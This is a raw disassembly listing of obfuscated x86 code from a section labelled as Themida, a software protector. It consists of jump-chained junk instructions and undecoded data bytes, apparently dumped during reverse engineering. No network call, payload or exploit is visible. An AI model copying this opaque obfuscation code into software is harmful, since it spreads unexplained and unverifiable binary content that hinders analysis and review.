		mov	ecx, esp
		jmp	loc_586953
; ---------------------------------------------------------------------------
		db 8Bh,	1Ch, 24h
		dd 4C481h, 0F5860000h, 0E9242C30h, 4420h, 0EF86C586h, 6E9F988h
		dd 51FFFFCFh, 61A368h, 0F051E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58B232:				; CODE XREF: Themida_:00585F05j
		sub	edx, ecx
		pop	ecx
		jmp	loc_58FED3
; ---------------------------------------------------------------------------
		dw 0C781h
		dd 443214DBh, 437CE9h, 47A6B900h, 81494086h, 0A2E4D3E9h
		dd 0E9CA31C3h, 3C26h, 0C381E389h, 4, 17FA68h, 240C8900h
		dd 4B9h, 0E0C38100h, 14F933Ah, 9C3BE9CBh, 0E9C1FFFFh, 12C18108h
		dd 0E97E739Dh, 0FFFFDD9Fh, 0B7241C89h, 0E991B6EFh, 256Ah
		dd 3004C483h, 7DF568C3h, 0DFE90000h, 5B000000h,	4C481h
		dd 0E9520000h, 0FFFFE84Ch
; ---------------------------------------------------------------------------


loc_58B2B0:				; CODE XREF: Themida_:0058C8C6j
		dec	esi
		neg	esi
		sub	esi, 0DB0A273Ch
		jmp	loc_58A479
; ---------------------------------------------------------------------------
		dw 1489h
aItsA		db '$‰âéÂA',0
		align 4
		dd 0FF91A6E9h, 240C8BFFh, 5025E9h, 5DE90900h, 4B9DE981h
		dd 0CA893D5Fh, 9EC38159h, 136554Ah, 9EEB81D3h, 0E936554Ah
		dd 4216h
; ---------------------------------------------------------------------------


loc_58B2F4:				; CODE XREF: Themida_:0058BADAj
		mov	edx, 2
		sub	esp, 4
		mov	[esp], ecx
		push	ebp
		mov	ebp, 6DB30435h
		jmp	loc_58F6F9
; ---------------------------------------------------------------------------
		dw 0DB68h
		dd 5D58796Ah, 0F4C8ED81h, 0E889F0D1h, 81242C8Bh, 4C4h
		dd 0B760500h, 0D8F72F49h, 502E8C1h, 9087AA2h, 5A5BBA52h
		dd 0E2811BB9h, 314A2063h, 77FEE281h, 0BB535176h, 4ADB5C16h
		dd 0BF2E381h, 0E3C115EEh, 4EBC108h, 0C729EB81h,	0DA31C70Dh
		dd 53BF2D5Bh, 0D0012587h, 8753BF05h, 5E95A25h, 8BFFFFD1h
		dd 0C4832414h, 0F906E904h, 148BFFFFh, 0A760E924h, 1C89FFFFh
		dd 7FFC6824h, 3C890000h, 2C11E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58B392:				; CODE XREF: Themida_:0059009Ej
		mov	[esp], ecx
		push	43460CE1h
		jmp	loc_58FFF7
; ---------------------------------------------------------------------------
		db 50h
		dd 0F43BE953h, 0F189FFFFh, 8BCE015Eh, 4E9240Ch,	81FFFFB2h
		dd 4EBh, 241C8700h, 390FE95Ch, 0EE810000h, 65E01A45h, 2FAFC681h
		dd 0EE815120h, 0CCF05F0h, 0FFA3C4E9h, 24348BFFh, 0FFBC03E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_58B3E1:				; CODE XREF: Themida_:0058ABD2j
		dec	dl
		xor	bl, dl
		jmp	loc_589FE1
; ---------------------------------------------------------------------------
		dw 1C8Bh
		dd 4C48124h, 0FE000000h, 7E6C0C6h, 0FFDCA8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_58B3FD:				; CODE XREF: Themida_:00584C80j
		push	1F9Eh
		mov	[esp], ecx
		push	1A6Ah
		mov	[esp], ebp
		mov	ebp, 5FF5C3Ah
		push	0FA00A3C5h
		jmp	loc_58BB53
; ---------------------------------------------------------------------------


loc_58B41C:				; CODE XREF: Themida_:00585BEEj
		mov	[esp], edx
		push	edi
		mov	edi, 7E3737F0h
		push	esi
		mov	esi, 248571DEh
		jmp	loc_58D075
; ---------------------------------------------------------------------------


loc_58B430:				; CODE XREF: Themida_:00586D96j
		add	esp, 4
		push	ebx
		mov	ebx, 3A134959h
		push	eax
		jmp	loc_5898AB
; ---------------------------------------------------------------------------
		db 68h
		dd 712Bh, 89240489h, 4BB53E0h, 1000000h, 9DC3E9D8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58B456:				; CODE XREF: Themida_:0058B65Cj
		xor	ebx, 0D7BF42BEh
		add	ebp, ebx
		pop	ebx
		sub	ecx, 796545DBh
		add	ecx, ebp
		jmp	loc_58B17D
; ---------------------------------------------------------------------------
		dd 0B12CC6B9h, 59CD0135h, 242C875Ah, 36D3E9h
		db 0
; ---------------------------------------------------------------------------


loc_58B47D:				; CODE XREF: Themida_:005875F9j
		add	eax, edi
		sub	eax, 5D88593Ch
		push	ecx
		mov	cl, bh
		mov	[eax], cl
		jmp	loc_58E9D7
; ---------------------------------------------------------------------------
		dw 9CB9h
		dd 18CA895h, 0DDE959CDh, 0C100002Fh, 0E7C108EFh, 0D0DE903h
		dd 0FB010000h, 0FFDA015Fh, 815B2434h, 4C4h, 4EC8300h, 0FF241489h
		dd 8B042474h, 0C4812414h, 4, 5C24048Fh,	0FFB18EE9h
		db 0FFh
byte_58B4D1	db 0FFh, 77h, 1Ch	; DATA XREF: Themida_:00584190o
		dd 0FF2434FFh, 52582434h, 0FF98DCE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_58B4E1:				; CODE XREF: Themida_:0058D563j
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	edx
		mov	edx, 0DFE1023h
		xor	edx, 0DFE1027h
		add	eax, 111372F9h
		add	eax, edx
		sub	eax, 111372F9h
		jmp	loc_58FBBD
; ---------------------------------------------------------------------------
		db 68h,	1Fh, 67h
		dd 2C890000h, 53E58924h, 63E56BBh, 2768E920h, 6FBA0000h
		dd 81069D05h, 3F6D0BC2h, 0A3C2814Bh, 81167C3Bh,	0DC3DD0F2h
		dd 0D288E97Bh, 815EFFFFh, 2C141FF6h, 0E9F18911h, 485h
		dd 0A46BF181h, 5350FF01h, 9A2E09BBh, 43D3F733h,	2B31CB81h
		dd 0F38108B5h, 0CCF5FBCFh, 89DD8955h, 15B5DE8h,	348151D0h
		dd 35039C24h, 0D5FDE909h, 0C483FFFFh, 0D6E95504h, 81FFFFA7h
		dd 4ECh, 240C8900h, 5D01B968h, 5AE95950h, 8B000006h, 14892424h
		dd 0E99C5024h, 3012h, 4EC815Ch,	0E9000000h, 0FFFFC85Dh
		dd 0E6D0CE86h, 0C91B050h, 3E0C03Ah, 0E0E90634h,	0BFFFFFAAh
		dd 4, 0FFAB58E9h, 3DD8BBFFh, 0D3F74165h, 0A44DC381h, 0EE8162B4h
		dd 46CD7BF6h, 0FFAC0EE9h
		db 0FFh
byte_58B5ED	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:005843B4o
		dd 4EC8124h, 89000000h,	0E2892414h, 4C281h, 0EA810000h
		dd 4, 0E9241487h, 3260h, 65A8BD55h, 21E97239h, 5CFFFF8Fh
		dd 4E0D6855h, 24890000h, 24048324h, 0C5815D04h,	4, 3E60B850h
		dd 0D0F75F1Ch, 0E05E4635h, 3A27352Bh, 0FA2D2A51h, 1A152A5h
		dd 2C8758C5h, 24248B24h, 9C240401h, 0FFE9BFE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_58B659:				; CODE XREF: Themida_:0058905Aj
		sub	ebx, ecx
		pop	ecx
		jmp	loc_58B456
; ---------------------------------------------------------------------------
		db 1, 0EAh, 5Dh
		dd 0EA81C201h, 85D6F14h, 500768h, 240C8900h, 27164B9h
		dd 264CE92Dh
		db 2 dup(0)
word_58B67E	dw 8B66h		; DATA XREF: Themida_:00584424o
		dd 5457240Ch, 50243C8Bh, 0BF57E089h, 4,	55FF801h, 4, 0BF0EE950h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58B69E:				; CODE XREF: Themida_:00584B0Aj
		xor	ecx, [esp]
		mov	esp, [esp]
		push	58E7h
		mov	[esp], ebp
		push	esi
		mov	esi, 39800E26h
		sub	esi, 397F8E26h
		jmp	loc_585ADB
; ---------------------------------------------------------------------------
		db 30h,	0C8h, 0E9h
		dd 0FFFFE523h, 0ED4844B9h, 9B35E96Bh, 59FFFFh, 241C8BD8h
		dd 1D69E9h
		db 0
aM0Hzq		db '¬0Øh‡q',0           ; DATA XREF: Themida_:00584284o
		dd 24148900h, 5C4E9h, 24248B00h, 0E99CC884h, 0FFFF8D7Fh
		dd 0E9243487h, 0A0Eh
; ---------------------------------------------------------------------------


loc_58B6FC:				; CODE XREF: Themida_:0058A50Bj
		sub	ebp, 0E4162131h
		jmp	loc_58FC97
; ---------------------------------------------------------------------------
		db 29h
		dd 6B5E9EBh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58B70E:				; CODE XREF: Themida_:0058B85Cj
		mov	ecx, 6D6E3C0Dh
		jmp	loc_5867B0
; ---------------------------------------------------------------------------
		dd 0DCABA52h, 0D7215D6Dh, 0AEF815Ah, 89080904h,	243C8BF8h
		dd 0FFF0FCE9h, 240C89FFh, 4B9h,	244C0100h, 815F5904h, 4C7h
		dd 585B6800h, 0B1E90000h, 81FFFFC7h, 2C2h, 24148700h, 0D324248Bh
		dd 0E99C2404h, 0FFFF8D0Fh
dword_58B764	dd 0E924048Bh, 0FFFFE0C3h, 35C3E959h		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58B772:				; CODE XREF: Themida_:00585F9Fj
		sub	esp, 4
		mov	[esp], edx
		mov	dh, 9
		shl	dh, 6
		shl	dh, 7
		inc	dh
		xor	dh, 0B4h
		and	dh, 0CBh
		xor	dh, 0AEh
		xor	bl, dh
		jmp	loc_5902E1
; ---------------------------------------------------------------------------
word_58B792	dw 0AD66h		; DATA XREF: Themida_:005842B8o
		dd 4BE6866h, 240C8966h,	7740B966h, 66C80166h, 9AE6E959h
		dd 0E957FFFFh, 2F43h
dword_58B7B0	dd 0E92C77FFh, 0FFFF8CBBh, 885B585Bh, 0C8B870Ch, 4C48124h
					; DATA XREF: Themida_:00584400o
		dd 0E9000000h, 0FFFF8CA7h
; ---------------------------------------------------------------------------


loc_58B7CC:				; CODE XREF: Themida_:0058DA2Cj
		push	edi
		jmp	loc_58D4D6
; ---------------------------------------------------------------------------
		dw 0DFF7h
		dd 0E80AEF81h, 0F901FB57h, 4A6E9h
		db 0
; ---------------------------------------------------------------------------


loc_58B7E1:				; CODE XREF: Themida_:00587A7Aj
		add	esi, 29663725h
		sub	esi, ebp
		sub	esi, 29663725h
		mov	ebp, [esp]
		push	ebp
		jmp	loc_58FBCF
; ---------------------------------------------------------------------------
		dd 2C2815Fh, 87000000h,	248B2414h, 0E9C33024h, 0FFFFB8CEh
; ---------------------------------------------------------------------------


loc_58B80C:				; CODE XREF: Themida_:0058CB43j
		add	edx, 4A546E0Eh
		mov	ebp, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 4
		add	edx, ecx
		pop	ecx
		xchg	edx, [esp]
		jmp	loc_58E2F0
; ---------------------------------------------------------------------------
		db 8Fh,	4, 24h
		dd 0FFC448E9h, 48B59FFh, 0D9C4E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58B83A:				; CODE XREF: Themida_:0058CAC7j
		add	dword ptr [esp+8], 70C4131Fh
		sub	[esp+8], ebp
		sub	dword ptr [esp+8], 70C4131Fh
		pop	ebp
		sub	dword ptr [esp+4], 6D6E3C0Dh
		add	[esp+4], ebp
		push	ecx
		jmp	loc_58B70E
; ---------------------------------------------------------------------------


loc_58B861:				; CODE XREF: Themida_:0058839Bj
		push	eax
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_58E187
; ---------------------------------------------------------------------------


loc_58B870:				; CODE XREF: Themida_:00589B79j
		mov	esi, ecx
		pop	ecx
		add	dword ptr [esp+4], 2B395AD7h
		sub	[esp+4], esi
		jmp	loc_58A75B
; ---------------------------------------------------------------------------
		dd 8B2434FFh, 0C4812404h, 4, 473968h, 1663E900h, 0F1810000h
		dd 7804459Bh, 9D50F181h, 0CB0185FAh, 86C78159h,	0E949AE23h
		dd 0FFFF9BDAh
dword_58B8B4	dd 8B2434FFh, 5457240Ch, 4C7815Fh, 81000000h, 4EFh, 0E018E900h
					; DATA XREF: Themida_:00584238o
		db 2 dup(0FFh)
word_58B8CE	dw 48Bh			; DATA XREF: Themida_:005842C8o
		dd 0F0F2E924h, 0C301FFFFh, 17D4EB81h, 76E9154Eh
		db 8, 2	dup(0)
; ---------------------------------------------------------------------------


loc_58B8E3:				; CODE XREF: Themida_:00585F82j
		push	ebx
		mov	ebx, 5E535EDEh
		jmp	loc_58BC56
; ---------------------------------------------------------------------------
		dw 5F05h
		dd 484DEE63h, 2414F750h, 0F88AE958h, 24D2FFFFh,	0E2E99C24h
		db 97h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58B907:				; CODE XREF: Themida_:0058C9FDj
		or	eax, eax
		jz	loc_58FED3
		push	dword ptr [edi+28h]
		jmp	loc_58E7BF
; ---------------------------------------------------------------------------
		db 28h
		dd 3C8A243Ch, 0DD52E924h, 0FC05FFFFh, 1D5F950h,	1BEAE9C5h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58B92E:				; CODE XREF: Themida_:00585468j
		add	edi, ebx
		pop	ebx
		push	eax
		mov	eax, 4
		jmp	loc_58786D
; ---------------------------------------------------------------------------
		dd 0E100E4B1h, 8E9C058h, 5080B252h, 0E200B1B4h,	8BD12058h
		dd 0C4812414h, 4, 53BAE980h, 0CBF3E950h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58B962:				; CODE XREF: Themida_:00590503j
		push	dword ptr [esp]
		pop	ecx
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		jmp	loc_5872C5
; ---------------------------------------------------------------------------
		db 87h
		dd 248B241Ch, 4EC8124h,	89000000h, 16682434h, 89000056h
		dd 4832424h, 0A4E90424h, 0BEFFFFD2h, 39A66459h,	0F681DEF7h
		dd 5CE371C0h, 0E9D6F746h, 1EEBh, 0E9FB0158h, 0FFFFA81Eh
; ---------------------------------------------------------------------------


loc_58B9B4:				; CODE XREF: Themida_:00585701j
		mov	[esp], ebx
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_586C75
; ---------------------------------------------------------------------------
		dd 5C243C33h, 9CC88566h, 0FF8A9EE9h, 12E95EFFh
		db 28h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_58B9DB:				; CODE XREF: Themida_:00585A84j
		shr	edx, 1
		cmp	eax, edx
		jz	loc_58853E
		push	104Dh
		mov	[esp], ecx
		mov	ecx, 2E2B43F2h
		and	ecx, 0E610DF8h
		push	eax
		jmp	loc_584B0F
; ---------------------------------------------------------------------------
word_58B9FE	dw 8B66h		; DATA XREF: Themida_:00584320o
		dd 8957240Ch, 0EABB53E7h, 8331245Ch, 0EB8101EBh, 1A193E52h
		dd 4BADCB81h, 0EBC117D0h, 0C3BE5604h, 0C15A3075h, 0D6F704E6h
		dd 4AADC681h, 0C6817800h, 2C84C77Bh, 15EF329h, 0E38BE9DFh
		dd 0EC83FFFFh, 24048904h, 468h,	0C2815800h, 57685119h
		dd 0EA81C201h, 57685119h, 4C28358h, 0FFCF81E9h,	241C8BFFh
		dd 0E904C483h, 1597h
dword_58BA6C	dd 24048B66h, 9804E952h		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58BA76:				; CODE XREF: Themida_:005905DDj
		pop	edx
		add	esp, 4
		pop	dword ptr [esp]
		push	783Dh
		mov	[esp], edx
		xchg	eax, [esp]
		not	eax
		jmp	loc_58A556
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 4B9A5AD4h, 0EB81EB01h, 4B9A5AD4h, 6366B850h,	0C3291ACBh
		dd 0C3835D58h, 763D6804h, 1C890000h, 2474FF24h,	241C8B04h
		dd 4C481h, 48F0000h, 46E95C24h
		db 8Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58BACB:				; CODE XREF: Themida_:0058EE79j
		add	ebp, 4
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_58B2F4
; ---------------------------------------------------------------------------
		db 83h
		dd 0C8904ECh, 2657E924h, 0E9810000h, 2DE8018Bh,	53C7E981h
		dd 0D1014FC2h, 53C7C181h, 0C1814FC2h, 2DE8018Bh, 0FFDF84E9h
		db 0FFh
byte_58BB09	db 68h,	71h, 3Eh	; DATA XREF: Themida_:005841D8o
		dd 2C890000h, 4EC8124h,	89000000h, 4812424h, 424h, 0EB80E900h
		dd 0D8F7FFFFh, 2D67B951h, 8141761Dh, 0A672DEF1h, 19C1812Dh
		dd 4140971Ch, 0F181D9F7h, 3333CA73h, 7CE9C829h,	51FFFFF1h
		dd 46E9E189h
		db 95h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58BB53:				; CODE XREF: Themida_:0058B417j
		mov	ecx, [esp]
		push	edi
		jmp	loc_58531A
; ---------------------------------------------------------------------------
		dd 0B9240C89h, 261E13B5h, 4101E983h, 12F0C981h,	0A6E977DDh
		dd 5200001Bh, 0B54EB8BAh, 0B5C1E93Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58BB7E:				; CODE XREF: Themida_:0058AEFAj
		pop	eax
		xor	ecx, ebp
		mov	ebp, [esp]
		add	esp, 4
		push	5008h
		mov	[esp], ebp
		jmp	loc_58DE89
; ---------------------------------------------------------------------------
dword_58BB94	dd 24048B66h, 81E18951h, 4C1h, 6EE95700h, 58000003h, 4187E9h
					; DATA XREF: Themida_:005842E4o
		dd 6E28BA00h, 554A2C8Bh, 0FF8FC3E9h
		db 0FFh
byte_58BBB9	db 64h,	8Fh, 2		; DATA XREF: Themida_:005841D0o
		dd 0FF88B2E9h, 76C381FFh, 2192FD05h, 1AE95BDEh,	50FFFFD5h
		dd 42474FFh, 24048F58h,	0FFB6BFE9h, 0C3815BFFh,	4, 4C381h
		dd 0FF530000h, 5B042474h, 5C24048Fh, 1267E9h, 0B9515700h
		dd 50A35A2Dh, 0E959CF89h, 0FFFFB171h
; ---------------------------------------------------------------------------


loc_58BC08:				; CODE XREF: Themida_:00587D1Aj
		sub	edx, 408826BCh
		pop	ebx
		jmp	loc_589AE3
; ---------------------------------------------------------------------------


loc_58BC14:				; CODE XREF: Themida_:0058756Fj
		push	dword ptr [esp]
		pop	ecx
		push	2C4h
		mov	[esp], esi
		push	esp
		pop	esi
		push	eax
		push	4
		pop	eax
		jmp	loc_589433
; ---------------------------------------------------------------------------
		dw 0C8Bh
		dd 4C48324h, 0FF8E42E9h, 241C89FFh, 2595E9h
		db 0
; ---------------------------------------------------------------------------


loc_58BC41:				; CODE XREF: Themida_:00589FDCj
		pop	esp
		shr	eax, 12h
		xor	eax, ecx
		push	eax
		jmp	loc_58E28C
; ---------------------------------------------------------------------------
		db 0F7h, 14h, 24h
		dd 0C7E3E959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58BC56:				; CODE XREF: Themida_:0058B8E9j
		dec	ebx
		add	ebx, 2CBA76BFh
		add	ebx, 74F22A68h
		jmp	loc_58AB33
; ---------------------------------------------------------------------------
a13Su		db '1<$3<$éU,',0
		db 0
; ---------------------------------------------------------------------------


loc_58BC73:				; CODE XREF: Themida_:00589283j
		push	ebx
		not	dword ptr [esp]
		pop	ebx
		jmp	loc_58DFC9
; ---------------------------------------------------------------------------
		db 0BDh, 1Ah, 32h
		dd 6FE92E87h, 5F000015h, 89CE8956h, 50595EF0h, 433AE9h
		db 0
; ---------------------------------------------------------------------------


loc_58BC95:				; CODE XREF: Themida_:0058BDBEj
		pop	esp
		mov	[esp], eax
		push	esp
		pop	eax
		push	ebx
		jmp	loc_58D0E3
; ---------------------------------------------------------------------------
		db 81h,	0C6h, 40h
		dd 5D0B9237h, 0FFFA47E9h, 0D0C0B2FFh, 536650EAh, 8852DEB3h
		dd 5AD088DAh, 0DA2C5B66h, 7BB15166h, 185AE951h,	0EB810000h
		dd 5F2673AAh, 0C381C329h, 5F2673AAh, 7C8CC381h,	0DEE90FDAh
		dd 5300000Eh, 0E3B75350h, 5197C780h, 0FFEAABE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_58BCF1:				; CODE XREF: Themida_:00589A48j
		sub	esp, 4
		mov	[esp], edi
		mov	edi, esp
		jmp	loc_58E817
; ---------------------------------------------------------------------------
		db 55h,	0BDh, 4
		dd 81000000h, 0D86CEAEFh, 44DAE96Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58BD12:				; CODE XREF: Themida_:00587908j
		xor	ecx, 23D554CEh
		jmp	loc_58BE0D
; ---------------------------------------------------------------------------
byte_58BD1D	db 0ADh, 2Dh, 93h	; DATA XREF: Themida_:00584220o
		dd 52757974h, 854E1ABAh, 0DAD5E931h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58BD2E:				; CODE XREF: Themida_:0058E2F3j
		jmp	loc_584473
; ---------------------------------------------------------------------------
aBigpwyh	db 'ëgpwyh*',0Ah,0
		align 2
		dw 3489h
		dd 2248BE24h, 0E953086Ch, 0FFFFA4DDh, 5D494505h, 2DC8010Ah
		dd 0A5D4945h, 52240C8Bh, 0C2815A54h, 4,	6EC68h,	243C8900h
		dd 8639C0BFh, 7E7C12Ch,	1324E9h, 0CFBA5200h, 4A25021Eh
		dd 0FFC4D5E9h, 0DFAB05FFh, 0E0E9FFBFh, 5FFFFD3h, 47946437h
		dd 4055Fh, 1CE90000h
		db 0F1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58BD9F:				; CODE XREF: Themida_:0058FBE0j
		mov	ecx, 15A00E60h
		add	ecx, 1
		push	eax
		jmp	loc_58A705
; ---------------------------------------------------------------------------
		dd 0E9D3F743h, 0FFFFE5E0h
; ---------------------------------------------------------------------------


loc_58BDB8:				; CODE XREF: Themida_:0058795Aj
		sub	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_58BC95
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C483242Ch, 0DBC38104h, 812E1163h, 31AD8CBh,	66F3816Ah
		dd 0E97D4338h, 32A8h, 0C3305A66h, 0E9C0B60Fh, 0FFFFDBBAh
		dd 0E9E38953h, 88Ah, 242C8B54h,	3654E9h, 5DE82900h, 9AE9C201h
		dd 51FFFFD3h, 4A8E9h
		db 0
; ---------------------------------------------------------------------------


loc_58BE0D:				; CODE XREF: Themida_:0058BD18j
		sub	ecx, 86C9DD62h
		add	edi, ecx
		pop	ecx
		add	ebp, edi
		pop	edi
		jmp	loc_58784B
; ---------------------------------------------------------------------------
		dw 0A8BDh
		dd 29D94564h, 240C8BCDh, 4C481h, 55510000h, 69243481h
		dd 593E3D23h, 2369F181h, 81513E3Dh, 77BB242Ch, 815E036Ch
		dd 6C77BBC6h, 4E5D5903h, 3867F681h, 0F03147B4h,	8124348Bh
		dd 4C4h, 896BE900h, 0C481FFFFh,	4, 48D368h, 242C8900h
		dd 582434FFh, 815D5455h, 4C5h, 4C58100h, 87000000h, 8B5C242Ch
		dd 0C483242Ch, 85DDE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58BE96:				; CODE XREF: Themida_:005888D1j
		push	32F9h
		mov	[esp], ecx
		jmp	loc_587567
; ---------------------------------------------------------------------------


loc_58BEA3:				; CODE XREF: Themida_:0058CCE1j
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_58D54D
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 2
		dd 33000000h, 1C31241Ch, 241C3324h, 0D324248Bh,	0E99C240Ch
		dd 0FFFF859Fh
; ---------------------------------------------------------------------------


loc_58BED4:				; CODE XREF: Themida_:005885F6j
		add	eax, ecx
		jmp	loc_58CAB8
; ---------------------------------------------------------------------------


loc_58BEDB:				; CODE XREF: Themida_:00587A39j
		push	7D9Bh
		mov	[esp], ebp
		jmp	loc_584A95
; ---------------------------------------------------------------------------
		dd 4C4815Dh, 81000000h,	4EFh, 243C3300h, 0E9243C31h, 570h
		dd 0F07C380h, 88E9C0B6h, 88000004h, 58C688C8h, 3D8AE9h
		dd 3733BF00h, 0BD557842h, 718A7BCCh, 0C15DEF29h, 0EF8108E7h
		dd 0B7BB66FCh, 2AADE9h
		db 0
; ---------------------------------------------------------------------------


loc_58BF31:				; CODE XREF: Themida_:0058C630j
		inc	edx
		and	edx, 6C87219Eh
		jmp	loc_5888AB
; ---------------------------------------------------------------------------


loc_58BF3D:				; CODE XREF: Themida_:0058C18Fj
		mov	esp, [esp]
		mov	[esp], ebp
		mov	ebp, 40000h
		and	eax, ebp
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_589FC2
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C481240Ch, 4, 0E9505166h, 0FFFF9595h
; ---------------------------------------------------------------------------


loc_58BF64:				; CODE XREF: Themida_:00585CF9j
		add	esp, 4
		or	eax, eax
		jz	loc_588FB5
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 1Ch
		jmp	loc_5878C0
; ---------------------------------------------------------------------------
		dw 3C87h
		dd 14895C24h, 0DC7EE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58BF8E:				; CODE XREF: Themida_:0058FAE4j
		xchg	edx, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_584757
; ---------------------------------------------------------------------------
		dd 9655FABAh, 8BEA810Eh, 0F7575427h, 3EAC1D2h, 3EAC14Ah
		dd 13E5C281h, 0D3894085h, 57D3F75Ah, 3049FABFh,	2271E90Fh
		dd 0D8280000h, 712CA304h, 83241C8Bh, 0E0D004C4h, 803FB753h
		dd 0C7FEE1F7h, 0EFD0D7F6h, 30D6EF80h, 32C7E9F8h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58BFEE:				; CODE XREF: Themida_:00585E55j
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_584D77
; ---------------------------------------------------------------------------


loc_58BFF7:				; CODE XREF: Themida_:0058E8DAj
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], esi
		pop	dword ptr [edi+24h]
		mov	esi, [esp]
		jmp	loc_58CA48
; ---------------------------------------------------------------------------
		dd 3304C483h, 2C31242Ch, 242C3324h, 0C8B665Ch, 0A67AE924h
		dd 0C608FFFFh, 80C6FE58h, 53E9AAF6h
		db 84h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58C037:				; CODE XREF: Themida_:0058C4B5j
		add	eax, 4
		sub	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		jmp	loc_589BBB
; ---------------------------------------------------------------------------
		dd 3BFC8705h, 7CEF817Dh, 0E93F4E32h, 15C6h
; ---------------------------------------------------------------------------


loc_58C060:				; CODE XREF: Themida_:0058A2BCj
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_588429
; ---------------------------------------------------------------------------
		dw 4BEh
		dd 0E9000000h, 0FFFFF32Eh, 8924248Bh, 4832424h,	0ECE90424h
		dd 31FFFF83h, 14332414h, 1D685C24h, 89000016h, 0E589242Ch
		dd 0FFD0F1E9h, 4C583FFh, 5C242C87h, 6866D800h, 896644BAh
		dd 0EDB1240Ch, 0AE95904h
		db 29h,	2 dup(0)
byte_58C0B7	db 56h			; DATA XREF: Themida_:0058423Co
		dd 0B75AE951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58C0BE:				; CODE XREF: Themida_:00586415j
		add	ecx, esi
		add	ecx, 5D7B3690h
		pop	esi
		xchg	ecx, [esp]
		pop	esp
		shr	eax, 0Eh
		xor	eax, ecx
		sub	esp, 4
		jmp	loc_585582
; ---------------------------------------------------------------------------
		align 4
		dd 405E9C3h, 0E1890000h, 4C181h, 0C1830000h, 240C3304h
		dd 33240C31h, 525C240Ch, 6686BD55h, 0F58119F7h,	64B06EACh
		dd 0E37E953h, 0D25C0000h, 0E99C240Ch, 0FFFF835Fh
; ---------------------------------------------------------------------------


loc_58C114:				; CODE XREF: Themida_:0058D612j
		pop	esp
		xor	bl, al
		movzx	eax, al
		pop	dword ptr [edi+eax*4]
		jmp	loc_584473
; ---------------------------------------------------------------------------
		dw 0AFBFh
		dd 0E951202Fh, 0FFFFAAB5h
aM0Hdr		db '¬0Øh„r',0           ; DATA XREF: Themida_:0058428Co
		align 4
		dd 66240C89h, 0E936B450h, 4125h, 0A7AED81h, 50E90F0Eh
		dd 80000042h, 0FA0875C7h, 88C2805Bh, 0FFEB82E9h, 0D9B850FFh
		dd 1329B53h, 8F6658C3h,	8309E900h, 1433FFFFh, 0C2815C24h
		dd 4, 1EC1E9h
		db 0
; ---------------------------------------------------------------------------


loc_58C179:				; CODE XREF: Themida_:00588EA8j
		mov	edi, [esp]
		add	esp, 4
		push	edx
		push	esi
		pop	edx
		mov	eax, edx
		jmp	loc_584B48
; ---------------------------------------------------------------------------


loc_58C189:				; CODE XREF: Themida_:00584B5Aj
		sub	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_58BF3D
; ---------------------------------------------------------------------------
aWss		db 'Wé˜)',0
		align 2


loc_58C19A:				; CODE XREF: Themida_:0058F6BCj
		push	ecx
		push	esp
		pop	ecx
		push	ebx
		mov	ebx, 4
		add	ecx, ebx
		jmp	loc_5848F8
; ---------------------------------------------------------------------------
		dw 8F5Eh
		dd 7CE92404h, 83000041h, 0C8904ECh, 2BC3B924h, 0CF0920BEh
		dd 8DE78159h, 815C0C62h, 0D807CBF7h, 71EF8138h,	29063911h
		dd 0C3815FFBh, 154E17D4h, 0FFF6F5E9h, 24348BFFh, 8104C483h
		dd 137351E6h, 81D6F765h, 70306C6h, 5DE93Ah, 57510000h
		dd 1F94E9h, 0C7815C00h,	4, 0FF90E0E9h
